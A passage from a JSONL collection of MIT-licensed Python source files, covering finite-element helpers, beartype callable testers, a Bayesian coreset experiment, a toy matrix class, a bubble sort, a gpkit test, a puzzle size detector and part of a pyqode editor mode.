len(numbering)==9:\n temp=[1,2,3,0]\n for i in range(4):\n if (numbering[i]==node1 and numbering[temp[i]]==node2) or \\\n (numbering[i]==node2 and numbering[temp[i]]==node1):\n return numbering[i+4]\n\n return None\n\ndef twoDMaterialMatrix(material,problemType):\n \"\"\"Input:\n \n material: [E,nu];\n \n problemType: 1 -- Plane stress; 2 -- Plane strain.\"\"\"\n\n if problemType==1: # Plane stress\n Dmat=np.array([[material[0]/(1.0-material[1]**2),material[0]*material[1]/(1.0-material[1]**2),0.0],\\\n [material[0]*material[1]/(1.0-material[1]**2),material[0]/(1.0-material[1]**2),0.0],\\\n [0.0,0.0,material[0]/2.0/(1.0+material[1])]])\n elif problemType==2: #Plane strain\n cc=material[0]*(1.0-material[1])/(1.0+material[1])/(1.0-2.0*material[1])\n Dmat=np.array([[cc,cc*material[1]/(1.0-material[1]),0.0],\\\n [cc*material[1]/(1.0-material[1]),cc,0.0],\\\n [0.0,0.0,cc*(1.0-2.0*material[1])/(2.0*(1.0-material[1]))]])\n else: raise ValueError(\"No such problem type!\")\n \n return Dmat\n\ndef lenEdge(coord1,coord2):\n return ((coord1[0]-coord2[0])**2+(coord1[1]-coord2[1])**2)**0.5\n\ndef delete_row_lil(matrix,i):\n if not isinstance(matrix,scipy.sparse.lil_matrix):\n raise ValueError(\"The matrix should be in LIL format!\")\n matrix.rows=np.delete(matrix.rows,i)\n matrix.data=np.delete(matrix.data,i)\n matrix._shape=(matrix._shape[0]-1,matrix._shape[1])\n\nif __name__==\"__main__\":\n pass", "source": "junbinhuang/mofem", "license": "MIT"}
+{"text": "# PEGANDO O PRIMEIRO E O \u00daLTIMO NOME DE UMA PESSOA\n\nnome = input('Digite seu nome completo: ')\nnnome = nome.split()\nprinome = nnome[0]\nultinome = nnome[-1]\nprint(prinome)\nprint(ultinome)", "source": "Robert-Marchinhaki/primeiros-passos-Python", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n# --------------------( LICENSE )--------------------\n# Copyright (c) 2014-2021 Beartype authors.\n# See \"LICENSE\" for further details.\n\n'''\nProject-wide **callable tester** (i.e., callable testing various properties of\npassed callables) utilities.\n\nThis private submodule implements utility functions dynamically introspecting\nvarious high-level properties of arbitrary callables.\n\nThis private submodule is *not* intended for importation by downstream callers.\n'''\n\n# ....................{ IMPORTS }....................\nfrom beartype.roar._roarexc import _BeartypeUtilCallableException\nfrom beartype._util.func.utilfunccodeobj import (\n get_func_unwrapped_codeobj_or_none)\nfrom beartype._util.utiltyping import (\n CallableCodeObjable,\n TypeException,\n)\nfrom inspect import (\n CO_ASYNC_GENERATOR,\n CO_COROUTINE,\n CO_GENERATOR,\n)\nfrom typing import Any\n\n# See the \"beartype.cave\" submodule for further commentary.\n__all__ = ['STAR_IMPORTS_CONSIDERED_HARMFUL']\n\n# ....................{ CONSTANTS }....................\nFUNC_NAME_LAMBDA = ''\n'''\nDefault name of all **pure-Python lambda functions** (i.e., function declared\nas a ``lambda`` expression embedded in a larger statement rather than as a\nfull-blown ``def`` statement).\n\nPython initializes the names of *all* lambda functions to this lambda-specific\nplaceholder string on lambda definition.\n\nCaveats\n----------\n**Usage of this placeholder to differentiate lambda from non-lambda callables\ninvites false positives in unlikely edge cases.** Technically, malicious third\nparties may externally change the name of any lambda function *after* defining\nthat function. Pragmatically, no one sane should ever do such a horrible thing.\nWhile predictably absurd, this is also the only efficient (and thus sane) means\nof differentiating lambda from non-lambda callables. Alternatives require\nAST-based parsing, which comes with its own substantial caveats, concerns,\nedge cases, and false positives. If you must pick your poison, pick this one.\n'''\n\n# ....................{ VALIDATORS }....................\n#FIXME: Uncomment when needed.\n# def die_unless_func_lambda(\n# # Mandatory parameters.\n# func: Any,\n#\n# # Optional parameters.\n# exception_cls: Type[Exception] = _BeartypeUtilCallableException,\n# ) -> None:\n# '''\n# Raise an exception unless the passed callable is a **pure-Python lambda\n# function** (i.e., function declared as a `lambda` expression embedded in a\n# larger statement rather than as a full-blown `def` statement).\n#\n# Parameters\n# ----------\n# func : Callable\n# Callable to be inspected.\n# exception_cls : type, optional\n# Type of exception to be raised if this callable is *not* a pure-Python\n# lambda function. Defaults to :class:`_BeartypeUtilCallableException`.\n#\n# Raises\n# ----------\n# exception_cls\n# If this callable is *not* a pure-Python lambda function.\n#\n# See Also\n# ----------\n# :func:`is_func_lambda`\n# Further details.\n# '''\n#\n# # If this callable is *NOT* a lambda function, raise an exception.\n# if not is_func_lambda(func):\n# assert isinstance(exception_cls, type), (\n# f'{repr(exception_cls)} not class.')\n# raise exception_cls(f'Callable {repr(func)} not lambda function.')\n\n\ndef die_unless_func_python(\n # Mandatory parameters.\n func: CallableCodeObjable,\n\n # Optional parameters.\n func_label: str = 'Callable',\n exception_cls: TypeException = _BeartypeUtilCallableException,\n) -> None:\n '''\n Raise an exception if the passed callable is **C-based** (i.e., implemented\n in C as either a builtin bundled with the active Python interpreter *or*\n third-party C extension function).\n\n Equivalently, this validator raises an exception unless the passed function\n is **pure-Python** (i.e., implemented in Python as either a function or\n method).\n\n Parameters\n ----------\n func : CallableCodeObjable\n Callable to be inspected.\n func_label : str, optional\n Human-readable label describing this callable in exception messages\n raised by this validator. Defaults to ``'Callable'``.\n exception_cls : type, optional\n Type of exception to be raised in the event of fatal error. Defaults to\n :class:`_BeartypeUtilCallableException`.\n\n Raises\n ----------\n exception_cls\n If this callable has *no* code object and is thus *not* pure-Python.\n\n See Also\n ----------\n :func:`is_func_python`\n Further details.\n '''\n\n # If this callable is *NOT* pure-Python, raise an exception.\n if not is_func_python(func):\n assert isinstance(func_label, str), f'{repr(func_label)} not string.'\n assert isinstance(exception_cls, type), (\n f'{repr(exception_cls)} not class.')\n\n # If this callable is uncallable, raise an appropriate exception.\n if not callable(func):\n raise exception_cls(f'{func_label} {repr(func)} not callable.')\n # Else, this callable is callable.\n\n # This callable *MUST* be C-based By process of elimination. In this\n # case, raise an appropriate exception.\n raise exception_cls(\n f'{func_label} {repr(func)} not pure-Python (i.e., code object '\n f'not found due to being either C[++]-based or object defining '\n f'the __call__() dunder method).'\n )\n\n# ....................{ TESTERS }....................\ndef is_func_lambda(func: Any) -> bool:\n '''\n ``True`` only if the passed object is a **pure-Python lambda function**\n (i.e., function declared as a ``lambda`` expression embedded in a larger\n statement rather than as a full-blown ``def`` statement).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is a pure-Python lambda function.\n '''\n\n # Return true only if this both...\n return (\n # This callable is pure-Python *AND*...\n is_func_python(func) and\n # This callable's name is the lambda-specific placeholder name\n # initially given by Python to *ALL* lambda functions. Technically,\n # this name may be externally changed by malicious third parties after\n # the declaration of this lambda. Pragmatically, no one sane would ever\n # do such a horrible thing. Would they!?!?\n #\n # While predictably absurd, this is also the only efficient (and thus\n # sane) means of differentiating lambda from non-lambda callables.\n # Alternatives require AST-based parsing, which comes with its own\n # substantial caveats, concerns, and edge cases.\n func.__name__ == FUNC_NAME_LAMBDA\n )\n\n\ndef is_func_python(func: object) -> bool:\n '''\n ``True`` only if the passed object is a **pure-Python callable** (i.e.,\n implemented in Python as either a function or method rather than in C as\n either a builtin bundled with the active Python interpreter *or*\n third-party C extension function).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is a pure-Python callable\n '''\n\n # Return true only if a pure-Python code object underlies this object.\n # C-based callables are associated with *NO* code objects.\n return get_func_unwrapped_codeobj_or_none(func) is not None\n\n# ....................{ TESTERS ~ async }....................\ndef is_func_async(func: object) -> bool:\n '''\n ``True`` only if the passed object is an **asynchronous callable**\n (i.e., awaitable callable satisfying the :class:`collections.abc.Awaitable`\n protocol by being declared via the ``async def`` syntax and thus callable\n *only* when preceded by comparable ``await`` syntax).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is an asynchronous callable.\n\n See Also\n ----------\n :func:`inspect.iscoroutinefunction`\n :func:`inspect.isasyncgenfunction`\n Stdlib functions strongly inspiring this implementation.\n '''\n\n # Code object underlying this pure-Python callable if any *OR* \"None\".\n #\n # Note this tester intentionally inlines the tests performed by the\n # is_func_async_coroutine() and\n # is_func_async_generator() testers for efficiency.\n func_codeobj = get_func_unwrapped_codeobj_or_none(func)\n\n # If this object is *NOT* a pure-Python callable, immediately return false.\n if func_codeobj is None:\n return False\n # Else, this object is a pure-Python callable.\n\n # Bit field of OR-ed binary flags describing this callable.\n func_codeobj_flags = func_codeobj.co_flags\n\n # Return true only if these flags imply this callable to be either...\n return (\n # An asynchronous coroutine *OR*...\n func_codeobj_flags & CO_COROUTINE != 0 or\n # An asynchronous generator.\n func_codeobj_flags & CO_ASYNC_GENERATOR != 0\n )\n\n\ndef is_func_async_coroutine(func: object) -> bool:\n '''\n ``True`` only if the passed object is an **asynchronous coroutine**\n (i.e., awaitable callable containing *no* ``yield`` expressions satisfying\n the :class:`collections.abc.Awaitable` protocol by being declared via the\n ``async def`` syntax and thus callable *only* when preceded by comparable\n ``await`` syntax).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is an asynchronous coroutine.\n\n See Also\n ----------\n :func:`inspect.iscoroutinefunction`\n Stdlib function strongly inspiring this implementation.\n '''\n\n # Code object underlying this pure-Python callable if any *OR* \"None\".\n func_codeobj = get_func_unwrapped_codeobj_or_none(func)\n\n # Return true only if...\n return (\n # This object is a pure-Python callable *AND*...\n func_codeobj is not None and\n # This callable's code object implies this callable to be an\n # asynchronous coroutine.\n func_codeobj.co_flags & CO_COROUTINE != 0\n )\n\n\ndef is_func_async_generator(func: object) -> bool:\n '''\n ``True`` only if the passed object is an **asynchronous generator**\n (i.e., awaitable callable containing one or more ``yield`` expressions\n satisfying the :class:`collections.abc.Awaitable` protocol by being\n declared via the ``async def`` syntax and thus callable *only* when\n preceded by comparable ``await`` syntax).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is an asynchronous generator.\n\n See Also\n ----------\n :func:`inspect.isasyncgenfunction`\n Stdlib function strongly inspiring this implementation.\n '''\n\n # Code object underlying this pure-Python callable if any *OR* \"None\".\n func_codeobj = get_func_unwrapped_codeobj_or_none(func)\n\n # Return true only if...\n return (\n # This object is a pure-Python callable *AND*...\n func_codeobj is not None and\n # This callable's code object implies this callable to be an\n # asynchronous generator.\n func_codeobj.co_flags & CO_ASYNC_GENERATOR != 0\n )\n\n# ....................{ TESTERS ~ sync }....................\ndef is_func_sync_generator(func: object) -> bool:\n '''\n ``True`` only if the passed object is a **synchronous generator**\n (i.e., awaitable callable containing one or more ``yield`` expressions\n declared with the ``def`` rather than ``async def`` keyword).\n\n Parameters\n ----------\n func : object\n Object to be inspected.\n\n Returns\n ----------\n bool\n ``True`` only if this object is a synchronous generator.\n\n See Also\n ----------\n :func:`inspect.isgeneratorfunction`\n Stdlib function strongly inspiring this implementation.\n '''\n\n # If this object is uncallable, immediately return False.\n #\n # Note this test is explicitly required to differentiate synchronous\n # generator callables from synchronous generator objects (i.e., the objects\n # they implicitly create and return). Whereas both asynchronous coroutine\n # objects *AND* asynchronous generator objects do *NOT* contain code\n # objects whose \"CO_COROUTINE\" and \"CO_ASYNC_GENERATOR\" flags are non-zero,\n # synchronous generator objects do contain code objects whose\n # \"CO_GENERATOR\" flag is non-zero. This implies synchronous generator\n # callables to create and return synchronous generator objects that are\n # themselves technically valid synchronous generator callables, which is\n # absurd. We prohibit this ambiguity by differentiating the two here.\n if not callable(func):\n return False\n # Else, this object is callable.\n\n # Code object underlying this pure-Python callable if any *OR* \"None\".\n func_codeobj = get_func_unwrapped_codeobj_or_none(func)\n\n # Return true only if...\n return (\n # This object is a pure-Python callable *AND*...\n func_codeobj is not None and\n # This callable's code object implies this callable to be a\n # synchronous generator.\n func_codeobj.co_flags & CO_GENERATOR != 0\n )\n", "source": "vcokltfre/beartype", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*- #\n\"\"\"*********************************************************************************************\"\"\"\n# FileName [ upstream/cpc/expert.py ]\n# Synopsis [ the cpc wrapper ]\n# Author [ S3PRL ]\n# Copyright [ Copyleft(c), Speech Lab, NTU, Taiwan ]\n\"\"\"*********************************************************************************************\"\"\"\n\n\nimport torch\nimport argparse\n\nimport torch\nfrom torch.nn.utils.rnn import pad_sequence\n\nfrom upstream.interfaces import UpstreamBase\nfrom .model import CPCModel as cpcmodel\nfrom .cpc_default_config import get_default_cpc_config\nfrom .feature_loader import getEncoder, getAR, loadArgs\n\nSAMPLE_RATE = 16000\nEXAMPLE_SEC = 3\nEXAMPLE_BATCH_SIZE = 32\n\n\nclass UpstreamExpert(UpstreamBase):\n def __init__(self, ckpt, **kwargs):\n super().__init__(**kwargs)\n\n locArgs = get_default_cpc_config()\n checkpoint = torch.load(ckpt, map_location=\"cpu\")\n loadArgs(locArgs, argparse.Namespace(**checkpoint[\"config\"]))\n\n encoderNet = getEncoder(locArgs)\n arNet = getAR(locArgs)\n self.model = cpcmodel(encoderNet, arNet)\n self.model.load_state_dict(checkpoint[\"weights\"], strict=False)\n\n if len(self.hooks) == 0:\n self.add_hook(\n \"self.model.gEncoder\", lambda input, output: output.transpose(1, 2)\n )\n self.add_hook(\"self.model.gAR\", lambda input, output: output)\n\n def forward(self, wavs):\n padded_wav = pad_sequence(wavs, batch_first=True)\n features = self.model(padded_wav.unsqueeze(1), None)[0]\n return {\n \"default\": features,\n }\n", "source": "OlegJakushkin/s3prl", "license": "MIT"}
+{"text": "from __future__ import print_function\nimport numpy as np\nimport bayesiancoresets as bc\nfrom scipy.optimize import minimize\nfrom inference import nuts, rhat, hmc\nimport time\n\n\n## FOR LOGISTIC REGRESSION\nfrom model_lr import *\ndnames = ['synth', 'ds1', 'phishing']\nfldr = 'lr'\n\n## FOR POISSON REGRESSION\n#from model_poiss import *\n#dnames = ['synth', 'airportdelays', 'biketrips']\n#fldr = 'poiss'\n\nn_trials = 20\nmcmc_steps = 5000 #total number of MH steps\nmcmc_burn = 1000\nprojection_dim = 500 #random projection dimension\nMs = np.unique(np.logspace(0, 3, 10, dtype=int))\npbar = True #progress bar display flag\nstep_size_init = 0.001\nn_leap = 15\ntarget_a = 0.8\nanms = ['GIGA', 'FW', 'RND']\nsampler = hmc #nuts\n\nfor dnm in dnames:\n print('Loading dataset '+dnm)\n Z, Zt, D = load_data(fldr+'/'+dnm+'.npz')\n\n print('Computing Laplace approximation')\n t0 = time.time()\n res = minimize(lambda mu : -log_joint(Z, mu, np.ones(Z.shape[0])), Z.mean(axis=0)[:D], jac=lambda mu : -grad_log_joint(Z, mu, np.ones(Z.shape[0])))\n mu = res.x\n cov = -np.linalg.inv(hess_log_joint(Z, mu))\n t_laplace = time.time() - t0\n var_scales=np.ones(cov.shape[0])\n\n cputs = np.zeros((len(anms), n_trials, Ms.shape[0]))\n csizes = np.zeros((len(anms), n_trials, Ms.shape[0]))\n Fs = np.zeros((len(anms), n_trials, Ms.shape[0]))\n cputs_full = np.zeros(n_trials)\n\n chains = np.zeros((n_trials, mcmc_steps, mu.shape[0]))\n for tr in range(n_trials):\n print('Trial ' + str(tr+1) +'/' + str(n_trials))\n\n print('Computing random projection')\n t0 = time.time()\n proj = bc.ProjectionF(Z, grad_log_likelihood, projection_dim, lambda : np.random.multivariate_normal(mu, cov)) \n vecs = proj.get()\n t_projection = time.time()-t0\n\n print('Running MCMC on the full dataset')\n logpZ = lambda th : log_joint(Z, th, np.ones(Z.shape[0]))\n glogpZ = lambda th : grad_log_joint(Z, th, np.ones(Z.shape[0]))\n mcmc_param_init = np.random.multivariate_normal(mu, cov)\n t0 = time.time()\n full_samples = sampler(logp = logpZ, gradlogp = glogpZ, \n x0 = mcmc_param_init, sample_steps=mcmc_steps, burn_steps=mcmc_burn, adapt_steps=mcmc_burn, \n n_leapfrogs = n_leap, scale=var_scales, progress_bar=pbar, step_size=step_size_init, target_accept=target_a) \n cputs_full[tr] = time.time()-t0\n chains[tr, :, :] = full_samples\n\n print('Running coreset construction / MCMC')\n for aidx, anm in enumerate(anms):\n print(anm +':')\n\n t0 = time.time()\n alg = None\n if 'GIGA' in anm:\n alg = bc.GIGA(vecs)\n elif anm == 'FW':\n alg = bc.FrankWolfe(vecs)\n else:\n alg = bc.RandomSubsampling(vecs) \n t_setup = time.time() - t0\n\n t_alg = 0.\n for m in range(Ms.shape[0]):\n print('M = ' + str(Ms[m]) + ': coreset construction')\n #this runs alg up to a level of M; on the next iteration, it will continue from where it left off\n t0 = time.time()\n alg.run(Ms[m])\n t_alg += time.time()-t0\n wts = alg.weights()\n idcs = wts > 0\n \n logpZ = lambda th : log_joint(Z[idcs, :], th, wts[idcs])\n glogpZ = lambda th : grad_log_joint(Z[idcs, :], th, wts[idcs])\n mcmc_param_init = np.random.multivariate_normal(mu, cov)\n print('M = ' + str(Ms[m]) + ': MCMC')\n t0 = time.time()\n th_samples = sampler(logp=logpZ, gradlogp=glogpZ, \n x0 = mcmc_param_init, sample_steps=mcmc_steps, burn_steps=mcmc_burn, adapt_steps=mcmc_burn, \n n_leapfrogs= n_leap, scale=var_scales, progress_bar=pbar, step_size=step_size_init, target_accept=target_a)\n t_alg_mcmc = time.time()-t0 \n\n print('M = ' + str(Ms[m]) + ': CPU times')\n cputs[aidx, tr, m] = t_laplace + t_projection + t_setup + t_alg + t_alg_mcmc\n print('M = ' + str(Ms[m]) + ': coreset sizes')\n csizes[aidx, tr, m] = (wts>0).sum()\n print('M = ' + str(Ms[m]) + ': F norms')\n gcs = np.array([ grad_log_joint(Z[idcs, :], full_samples[i, :], wts[idcs]) for i in range(full_samples.shape[0]) ])\n gfs = np.array([ grad_log_joint(Z, full_samples[i, :], np.ones(Z.shape[0])) for i in range(full_samples.shape[0]) ])\n Fs[aidx, tr, m] = (((gcs - gfs)**2).sum(axis=1)).mean()\n #print(rhat(chains))\n np.savez_compressed(fldr+'/'+dnm+'_results.npz', Ms=Ms, Fs=Fs, cputs=cputs, cputs_full=cputs_full, csizes=csizes, anms=anms)\n", "source": "raifthenerd/bayesian-coresets", "license": "MIT"}
+{"text": "class Matrix:\n def __init__(self, mat):\n l_size = len(mat[0])\n for line in mat:\n if l_size != len(line):\n raise ValueError('invalid matrix sizes')\n self._raw = mat\n\n @property\n def raw(self):\n return self._raw\n\n @property\n def trace(self):\n if self.size[0] == self.size[1]:\n return sum([ self[i][j] for j in range(self.size[0]) for i in range(self.size[1]) ])\n else: print('nb lines != nb columns')\n\n @property\n def size(self):\n return self._raw.__len__(), self._raw[0].__len__()\n\n def __str__(self):\n s = \"\\n\"\n for l in self._raw:\n s +='| '\n for c in l:\n s += '{:6.2f} '.format( round(float(c), 3))\n s += '|\\n'\n return s\n \n def __call__(self, index):\n return self.col(self, index)\n\n @classmethod\n def col(cls, matrix, index, raw = False):\n col = [ line[index] for line in matrix._raw ]\n if raw: return col\n else: return Vector(col)\n\n def transpose(self):\n return Matrix([ self.col(self, i, True) for i in range(self.size[1]) ])\n\n def __setitem__(self, key, item):\n if not type(item).__name__ == 'list' or len(item) != self.size[0]:\n print('invalid assignement')\n else:\n self._raw[key] = item\n\n def __getitem__(self, key):\n return Vector(self._raw[key], transpose = True)\n\n def __add__(self, other):\n if type(other).__name__ == 'Matrix' or type(other).__name__ == 'Vector':\n if self.size[0] == other.size[0] and self.size[1] == other.size[1]:\n return Matrix([ [ self._raw[i][j] + other._raw[i][j] for j in range(self.size[1])] for i in range(self.size[0])])\n else:\n try: return Matrix([ [ self._raw[i][j] + other for j in range(self.size[1])] for i in range(self.size[0])])\n except: print('cannot add')\n \n def __sub__(self, other):\n if type(other).__name__ == 'Matrix' or type(other).__name__ == 'Vector':\n if self.size[0] == other.size[0] and self.size[1] == other.size[1]:\n return Matrix([ [ self._raw[i][j] - other._raw[i][j] for j in range(self.size[1])] for i in range(self.size[0])])\n else:\n try: return Matrix([ [ self._raw[i][j] - other for j in range(self.size[1])] for i in range(self.size[0])])\n except: print('cannot substract')\n\n def __mul__(self, other):\n if type(other).__name__ == 'Matrix' or type(other).__name__ == 'Vector':\n if self.size[1] == other.size[0]: # nb c == nb l\n res = []\n for i in range(self.size[0]):\n res += [[]]\n for j in range(other.size[1]):\n res[i] += [sum([m*n for m,n in zip(self._raw[i], self.col(other, j, True))])]\n return Matrix(res)\n else:\n try: return Matrix([ [ self[i][j] * other for j in range(self.size[1])] for i in range(self.size[0])])\n except: print('cannot substract')\n\n @classmethod\n def gen(cls, l, c, fill = 0):\n mat = [[fill for j in range(c)] for i in range(l)]\n return Matrix(mat)\n\n\nclass Vector(Matrix):\n def __init__(self, vect, transpose = False):\n self.transposed = transpose\n super().__init__([vect] if transpose else [ [elem] for elem in vect ] )\n\n @property\n def raw(self):\n if self.transposed:\n return self._raw[0]\n else:\n return self.col(self, 0, True)\n\n @property\n def gravity(self):\n return sum(self.raw) / len(self.raw)\n\n def __setitem__(self, key, item):\n if self.transposed:\n self._raw[0][key] = item\n else:\n self._raw[key][0] = item\n\n def __getitem__(self, key):\n if self.transposed:\n if type(self._raw[0][key]).__name__ == 'list':\n return Vector(self._raw[0][key])\n else:\n return self._raw[0][key]\n else:\n if type(self._raw[key][0]).__name__ == 'list':\n return Vector(self._raw[key][0])\n else:\n return self._raw[key][0]\n \n @classmethod\n def gen(cls, l, fill = 0):\n mat = super().gen(l, 1, fill)\n return mat(0)\n\n# ==================================================================\n\n# m = [[1,2,3],[4,5,6],[7,8,9]]\n\n# mt = Matrix(m)\n# print(mt)\n# print(mt.transpose())\n# print(mt.trace)\n# print(mt.size)\n\n# mt2 = mt.transpose()\n# mt3 = Matrix.gen(3,3,9)\n# print(mt3)\n# print(mt2 + mt,mt2 - mt, mt2 * mt)", "source": "rajeev-kr/Geom8ry", "license": "MIT"}
+{"text": "import argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--list')\nargs = parser.parse_args()\n\nalist = eval('[' + args.list + ']')\nfor i in range(len(alist) - 1):\n for j in range(0, len(alist)-i-1):\n if alist[j] > alist[j+1]:\n print alist,\n print \">> Since (%s > %s) then Swap %s <--> %s\" % (alist[j], alist[j+1], alist[j], alist[j+1])\n alist[j], alist[j+1] = alist[j+1], alist[j]\n else:\n print alist,\n print \">> Since (%s <= %s) then Keep\" % (alist[j], alist[j+1])\n print \"\"\n\n\nprint \"Sorted Array:\", alist\n", "source": "hossamelmansy/theory-of-algorithms", "license": "MIT"}
+{"text": "\"Tests broadcast_sub function for returned-dictionary substitutions\"\nfrom gpkit import Variable, Model, ConstraintSet, Vectorize\nfrom gpkit.small_scripts import broadcast_substitution\n\nclass Pie(Model):\n \"Pie model\"\n def setup(self):\n self.x = x = Variable(\"x\")\n z = Variable(\"z\")\n constraints = [\n x >= z,\n ]\n substitutions = {'z': 1}\n return constraints, substitutions\n\nclass Cake(Model):\n \"Cake model, containing a vector of Pies\"\n def setup(self):\n self.y = y = Variable(\"y\")\n with Vectorize(2):\n s = Pie()\n constraints = [y >= s.x]\n constraints += [s]\n subs = {'x': broadcast_substitution(s.x, [2, 3])}\n return constraints, subs\n\nclass Yum1(Model):\n \"Total dessert system model containing 5 Cakes\"\n def setup(self):\n with Vectorize(5):\n cake = Cake()\n y = cake.y\n self.cost = sum(y)\n constraints = ConstraintSet([cake])\n return constraints\n\nm = Yum1()\nsol = m.solve(verbosity=0)\nprint(sol.table())\n\nclass Yum2(Model):\n \"Total dessert system model containing 1 Cake\"\n def setup(self):\n with Vectorize(1):\n cake = Cake()\n y = cake.y\n self.cost = sum(y)\n constraints = ConstraintSet([cake])\n return constraints\n\nm = Yum2()\nsol = m.solve(verbosity=0)\nprint(sol.table())\n", "source": "convexengineering/gpk", "license": "MIT"}
+{"text": "import cv2\nimport bisect\n\n\nclass SizeDetector(object):\n \"\"\"Detects piece size in pixels from given image\n\n Image is split into RGB single-channel images. Single-channel images are\n combined (R + G, R + B, G + B) in order to cover special edge cases where input\n image have one dominant color commponent.\n\n For each single channel-image size candidates are found and candidate with most\n occurances is selected.\n\n :param image: Input puzzle with square pieces.\n\n Usage::\n\n >>> import cv2\n >>> from gaps.size_detector import SizeDetector\n >>> image = cv2.imread('puzzle.jpg')\n >>> detector = SizeDetector(image)\n >>> piece_size = detector.detect_piece_size()\n\n \"\"\"\n\n # Max absolute difference between width and height of bounding rectangle\n RECTANGLE_TOLERANCE = 3\n\n # Contour area / area of contours bounding rectangle\n EXTENT_RATIO = 0.75\n\n # Piece sizes bounds\n MIN_SIZE = 28\n MAX_SIZE = 64\n\n # Coefficient for MIN puzzle piece size\n MIN_SIZE_C = 0.9\n\n # Coefficient for MAX puzzle piece size\n MAX_SIZE_C = 1.3\n\n def __init__(self, image):\n self._image = image.copy()\n self._possible_sizes = []\n self._calculate_possible_sizes()\n\n def detect_piece_size(self):\n \"\"\"Detects piece size in pixels\"\"\"\n\n if len(self._possible_sizes) == 1:\n return self._possible_sizes[0]\n\n blue, green, red = cv2.split(self._image)\n\n split_channel_images = [\n red,\n green,\n blue,\n cv2.add(red, green),\n cv2.add(red, blue),\n cv2.add(green, blue)\n ]\n\n size_candidates = []\n for image in split_channel_images:\n candidates = self._find_size_candidates(image)\n size_candidates.extend(candidates)\n\n sizes_probability = { size: 0 for size in self._possible_sizes }\n for size_candidate in size_candidates:\n nearest_size = self._find_nearest_size(size_candidate)\n sizes_probability[nearest_size] += 1\n\n piece_size = max(sizes_probability, key=sizes_probability.get)\n return piece_size\n\n def _find_size_candidates(self, image):\n binary_image = self._filter_image(image)\n\n _, contours, _ = cv2.findContours(binary_image,\n cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE)\n\n size_candidates = []\n for contour in contours:\n bounding_rect = cv2.boundingRect(contour)\n contour_area = cv2.contourArea(contour)\n if self._is_valid_contour(contour_area, bounding_rect):\n candidate = (bounding_rect[2] + bounding_rect[3]) / 2\n size_candidates.append(candidate)\n\n return size_candidates\n\n def _is_valid_contour(self, contour_area, bounding_rect):\n _, _, width, height = bounding_rect\n extent = float(contour_area) / (width * height)\n\n lower_limit = self.MIN_SIZE_C * self._possible_sizes[0]\n upper_limit = self.MAX_SIZE_C * self._possible_sizes[-1]\n\n is_valid_lower_range = width > lower_limit and height > lower_limit\n is_valid_upper_range = width < upper_limit and height < upper_limit\n is_square = abs(width - height) < self.RECTANGLE_TOLERANCE\n is_extent_valid = extent >= self.EXTENT_RATIO\n\n return is_valid_lower_range and is_valid_upper_range and is_square and is_extent_valid\n\n def _find_nearest_size(self, size_candidate):\n index = bisect.bisect_right(self._possible_sizes, size_candidate)\n\n if index == 0:\n return self._possible_sizes[0]\n\n if index >= len(self._possible_sizes):\n return self._possible_sizes[-1]\n\n right_size = self._possible_sizes[index]\n left_size = self._possible_sizes[index - 1]\n\n if abs(size_candidate - right_size) < abs(size_candidate - left_size):\n return right_size\n else:\n return left_size\n\n def _calculate_possible_sizes(self):\n \"\"\"Calculates every possible piece size for given input image\"\"\"\n rows, columns, _ = self._image.shape\n\n for size in range(self.MIN_SIZE, self.MAX_SIZE + 1):\n if rows % size == 0 and columns % size == 0:\n self._possible_sizes.append(size)\n\n def _filter_image(self, image):\n _, thresh = cv2.threshold(image, 200, 255, cv2.THRESH_BINARY)\n opened = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, (5, 5), iterations=3)\n\n return cv2.bitwise_not(opened)\n", "source": "DEVESHTARASIA/gaps", "license": "MIT"}
+{"text": "from pyqode.qt.QtCore import QObject, QTimer, Signal, Qt\nfrom pyqode.qt.QtWidgets import QAction\nfrom pyqode.qt.QtGui import QTextCursor\nfrom pyqode.core.api import Mode, TextHelper, TextDecoration, DelayJobRunner\n\n\nclass GoToDefinitionMode(Mode, QObject):\n \"\"\"\n Go to the definition of the symbol under the word cursor.\n \"\"\"\n #: Signal emitted when a word is clicked. The parameter is a\n #: QTextCursor with the clicked word set as the selected text.\n word_clicked = Signal(QTextCursor)\n\n def __init__(self):\n QObject.__init__(self)\n Mode.__init__(self)\n self._previous_cursor_start = -1\n self._previous_cursor_end = -1\n self._definition = None\n self._deco = None\n self._pending = False\n self.action_goto = QAction(_(\"Go to assignments\"), self)\n self.action_goto.setShortcut('F7')\n self.action_goto.triggered.connect(self.request_goto)\n self.word_clicked.connect(self.request_goto)\n self._timer = DelayJobRunner(delay=200)\n\n def on_state_changed(self, state):\n \"\"\"\n Connects/disconnects slots to/from signals when the mode state\n changed.\n \"\"\"\n super(GoToDefinitionMode, self).on_state_changed(state)\n if state:\n self.editor.mouse_moved.connect(self._on_mouse_moved)\n self.editor.mouse_released.connect(self._on_mouse_released)\n self.editor.add_action(self.action_goto, sub_menu='COBOL')\n self.editor.mouse_double_clicked.connect(\n self._timer.cancel_requests)\n else:\n self.editor.mouse_moved.disconnect(self._on_mouse_moved)\n self.editor.mouse_released.disconnect(self._on_mouse_released)\n self.editor.remove_action(self.action_goto, sub_menu='Python')\n self.editor.mouse_double_clicked.disconnect(\n self._timer.cancel_requests)\n\n def _select_word_under_mouse_cursor(self):\n \"\"\" Selects the word under the mouse cursor. \"\"\"\n cursor = TextHelper(self.editor).word_under_mouse_cursor()\n if (self._previous_cursor_start != cursor.selectionStart() and\n self._previous_cursor_end != cursor.selectionEnd()):\n self._remove_decoration()\n self._add_decoration(cursor)\n self._previous_cursor_start = cursor.selectionStart()\n self._previous_cursor_end = cursor.selectionEnd()\n\n def _on_mouse_moved(self, event):\n \"\"\" mouse moved callback \"\"\"\n if event.modifiers() & Qt.ControlModifier:\n self._select_word_under_mouse_cursor()\n else:\n self._remove_decoration()\n self.editor.set_mouse_cursor(Qt.IBeamCursor)\n self._previous_cursor_start = -1\n self._previous_cursor_end = -1\n\n 